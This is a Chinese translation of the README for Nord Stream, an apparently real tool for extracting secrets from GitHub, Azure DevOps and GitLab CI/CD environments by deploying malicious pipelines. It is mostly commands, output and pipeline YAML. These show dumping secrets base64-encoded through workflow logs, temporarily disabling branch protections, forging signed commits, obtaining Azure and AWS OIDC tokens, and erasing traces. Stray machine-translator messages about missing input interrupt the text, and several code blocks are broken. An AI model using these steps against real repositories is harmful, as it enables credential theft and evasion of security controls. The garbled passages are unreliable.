Nord Stream 是一款工具,允许你通过部署_恶意_流水线来提取存储在 CI/CD 环境中的机密。
它目前支持 Azure DevOps、GitHub 和 GitLab。
在以下博文中了解更多信息:https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` 也是必需的(参见 https://git-scm.com/download/),并且必须存在于你的 `PATH` 中。
## 用法
这里有一个简单的 GitHub 示例;首先,可以枚举各种秘密。```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
然后继续进行数据外泄:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### 共享参数
某些参数在 [GitHub](#github)、[Azure DevOps](#azure-devops) 和 [GitLab](#gitlab) 之间是共享的,以下是一些示例。
#### 描述令牌
`--describe-token` 选项可用于显示有关你的令牌的常规信息:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
--build-yaml 选项可用于创建流水线文件,而无需将其部署。它会检索各种密钥名称以构建关联的流水线,可用于添加自定义步骤:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
`--yaml` 选项可用于部署自定义流水线:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
I don't see any content to translate. The chunk appears to be empty. Please provide the actual text content for chunk 13.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
默认情况下,它会显示 `init` 作业中名为 `command` 的任务的输出,但所有内容都存储在本地,并且可以手动访问:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
默认情况下,Nord Stream 将根据您的权限尝试移除管道部署后留下的痕迹。若要保留痕迹,可使用 --no-clean 选项。这将保留管道日志,但仍会还原对仓库所做的更改。
请注意,对于 GitLab,某些痕迹无法删除。
仓库管理员可以强制要求在某个分支上对提交进行签名,以阻止所有未签名且未验证的提交。借助 Nord Stream,可以对提交进行签名以绕过此类保护。
首先在 SCM 平台上创建并导入您的 GPG 密钥。```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
I notice the input content is missing — the message ends with "INPUT:" and no actual Markdown text follows. Please provide the chunk content so I can translate it.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
I don't see any content to translate — the chunk text after "INPUT:" is empty. Please provide the actual Markdown content for chunk 21.```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5
### Azure DevOps
Nord Stream 可以提取以下类型的机密:
- 变量组 (vg)
- 安全文件 (sf)
- 服务连接
#### 服务连接
Azure DevOps 提供了创建与外部和远程服务连接的功能,以便在作业中执行任务。为此,需要使用服务连接。服务连接保存了到远程服务的身份凭据。Azure DevOps 中有多种类型的服务连接。
Nord Stream 目前支持为以下类型的服务连接提取机密:
- AzureRM
- GitHub
- AWS
- SonarQube
- SSH
如果你遇到不支持的连接类型,请提交 issue 或发起 pull request :)
##### SSH
这种服务连接类型的提取实现起来非常痛苦。输出内容如下:```
hostname:::port:::user:::password:::privatekey
如果你想在自托管运行器上运行它,可以执行以下操作:```
$ nord-stream devops ... --build-yaml test.yml --build-type ssh
[+] YAML file:
trigger: none
pool:
vmImage: ubuntu-latest
steps:
然后,你需要:
1) 将 `vmImage: ubuntu-latest` 更改为 `name: 'Self-Hosted pool name'`
2) 在 `#FIXME` 占位符中添加服务连接的名称。
3) 使用以下命令部署管道:`--yaml test.yml`
如果你需要在 Windows 自托管运行器上运行此操作,请在 `generatePipelineForSSH` 方法中将 `_serviceConnectionTemplateSSH` 替换为 `_serviceConnectionTemplateSSHWindows`,然后执行之前描述的操作。
注意:对于 Windows 和 Linux 自托管运行器,你都需要调整路径(`/home/vsts/work/_tasks/` 或 `D:\a\`),以匹配运行器部署的路径。此信息可以在 Azure DevOps 上代理的 `Capabilities` 选项卡中获取。
#### 列出组织
借助访问令牌,可以列出绑定到用户的组织:```
$ nord-stream devops --token "eyJ0eXA..." --list-orgs
[*] User orgs:
- myorg
- supersecretorg
这是基于这项研究.
$ nord-stream devops -h CICD pipeline exploitation tool
Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logs --ignore-cert Allow insecure server connectionsCommit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.
Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets
Dump all secrets from all projects
$ nord-stream devops --token "$PAT" --org myorg
Authors: @hugow @0hexit
### GitHub
#### 列出保护
`--list-protections` 选项可用于列出应用到分支和环境上的保护:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
[*] Using branch: "main"
[*] Checking security: "synacktiv/repo"
[*] Found branch protection rule on "main" branch
[*] Branch protections:
- enforce admins: True
- block creations: True
- required signatures: True
- allow force pushes: False
- allow deletions: False
- required pull request reviews: False
- required linear history: False
- required conversation resolution: False
- lock branch: False
- allow fork syncing: False
[*] Environment protection for: "DEV":
- deployment branch policy: custom
[*] No environment protection rule found for: "INT"
[*] Environment protection for: "PROD":
- deployment branch policy: custom
根据你的权限,你可能会获得较少的信息,只有管理员才能查看保护的完整详细信息。
可使用 --disable-protections 选项临时禁用应用于分支或环境的保护,执行转储并恢复所有保护:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
[] Using branch: "main"
[+] "synacktiv/repo"
[] Found branch protection rule on "main" branch
[...]
[!] Removing branch protection, wait until it's restored.
[] Getting secrets from environment: "prod" (synacktiv/repo)
[] Environment protection for: "PROD":
- deployment branch policy: custom
[!] Modifying env protection, wait until it's restored.
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[!] Restoring env protections.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
[*] Cleaning logs. [!] Restoring branch protection.
This requires admin privileges.
#### 强制
默认情况下,如果 Nord Stream 在分支或环境上检测到保护,则不会执行机密提取。如果你认为这些保护过于宽松或可以利用你的权限绕过,可以使用 `--force` 选项来部署流水线,无论是否存在保护。
#### Azure OIDC
OIDC(OpenID Connect)可用于连接云服务。其总体思路是允许经过授权的流水线或工作流直接从云提供商获取短时访问令牌,而无需涉及任何静态机密。授权基于在云提供商端配置的信任关系,并以流水线或工作流的来源为条件。
以下是一个使用 OIDC 的 GitHub 工作流示例:```yaml
[...]
steps:
- name: OIDC Login to Azure Public Cloud
uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
如果你遇到这样的工作流程,这意味着该仓库可能被配置为获取一个短期访问令牌,该令牌可以让你访问 Azure 资源。
Nord Stream 能够部署一个流水线来获取此类访问令牌,具体选项如下:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }
`--azure-subscription-id` 是可选参数,可用于获取特定订阅的访问令牌。
#### AWS OIDC
同样的技术(参见 [Azure OIDC](#azure-oidc))可用于在 AWS 上获取会话令牌。
以下是使用 AWS OIDC 的工作流示例:```yaml
[...]
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
role-session-name: oidcrolesession
aws-region: us-east-1
如果你遇到这样的工作流,这可能意味着该仓库可能配置了用于获取 AWS 访问令牌的机制,而该令牌可让你访问 AWS 资源。
Nord Stream 能够部署一个管道来获取此类访问令牌,其选项如下:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
#### 帮助```
$ nord-stream github -h
CICD pipeline exploitation tool
Usage:
nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
nord-stream github [options] --token <ghp> --describe-token
Options:
-h --help Show this screen.
--version Show version.
-v, --verbose Verbose mode
-d, --debug Debug mode
--output-dir <dir> Output directory for logs
Signing:
--key-id <id> GPG primary key ID
--user <user> User used to sign commits
--email <email> Email address used to sign commits
args
--token <ghp> Github personal token
--org <org> Org name
-r, --repo <repo> Run on selected repo (can be a file)
-y, --yaml <yaml> Run arbitrary job
--clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered.
--no-clean Don't clean workflow logs (default false)
--clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
--build-yaml <filename> Create a pipeline yaml file with all secrets.
--env <env> Specify env for the yaml file creation.
--no-repo Don't extract repo secrets.
--no-env Don't extract environnments secrets.
--no-org Don't extract organization secrets.
--azure-tenant-id <tenant> Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
--azure-subscription-id <subscription> Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
--azure-client-id <client> Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
--aws-role <role> AWS role to assume (OIDC related).
--aws-region <region> AWS region (OIDC related).
--list-protections List all protections.
--list-repos List all repos.
--list-secrets List all secrets.
--disable-protections Disable the branch protection rules (needs admin rights)
--write-filter Filter repo where current user has write or admin access.
--force Don't check environment and branch protections.
--branch-name <name> Use specific branch name for deployment.
--describe-token Display information on the token
Examples:
List all secrets from all repositories
$ nord-stream github --token "$GHP" --org myorg --list-secrets
Dump all secrets from all repositories and try to disable branch protections
$ nord-stream github --token "$GHP" --org myorg --disable-protections
Authors: @hugow @0hexit
如文章所述,在流水线部署后,无法删除活动选项卡中的日志。在红队行动期间必须考虑这一点。
--list-secrets 选项可用于列出并提取 GitLab 中的机密。
GitLab 管理机密的方式与 Azure DevOps 和 GitHub action 略有不同。如果拥有项目、组的管理员访问权限,甚至拥有 GitLab 实例的管理员访问权限,无需部署任何流水线即可提取所有已定义的 CI/CD 变量。
然而,对于低权限用户而言,无法列出在项目、组或实例级别定义的机密。但是,如果用户对项目拥有写权限,他们将能够部署恶意流水线,以泄露暴露 CI/CD 变量的环境变量。这意味着低权限用户无法得知某个特定项目中是否定义了机密。唯一的方法是查看项目中已有的合法流水线,并检查流水线是否使用了敏感的环境变量。
以下是一个用于在 GitLab 上执行此操作的流水线文件:```yaml stages:
deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0
GitLab 也支持类似 Azure DevOps 的安全文件。安全文件在项目级别定义。与变量一样,如果没有项目的管理员权限,则无法列出安全文件。但是,拥有管理员权限后,nord-stream 将尝试窃取与项目相关的安全文件。
#### YAML
与 [YAML](#yaml) 相同,但你需要提供完整的项目路径,如下所示:```sh
$ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
命令 --list-projects 的输出返回该路径。
与 GitHub 列出保护 相同
$ nord-stream gitlab -h CICD pipeline exploitation tool
Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token
Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir
Output directory for logs --url <gitlab_url> Gitlab URL [default: https://gitlab.com] --ignore-cert Allow insecure server connectionsCommit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits
args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token
Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
Deploy the custom pipeline on the master branch
$ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
Authors: @hugow @0hexit
## TODO
- [ ] 添加对 Azure DevOps Server 实例(本地部署解决方案)对应 URL 的支持
- [ ] 添加通过 Windows 主机提取机密的选项
- [ ] 添加对其他 CI/CD 环境(Jenkins/Bitbucket)的支持
- [ ] 使用 GitHub GraphQL API 代替 REST API 来列出分支保护规则,并在这些规则与即将推送的恶意分支匹配时临时禁用它们
## 联系方式
请通过“Issues”提交任何错误、问题、疑问或功能请求,或在 Twitter [@hugow](https://twitter.com/hugow_vincent) 和 [@0hexit](https://twitter.com/0hexit) 上联系我们。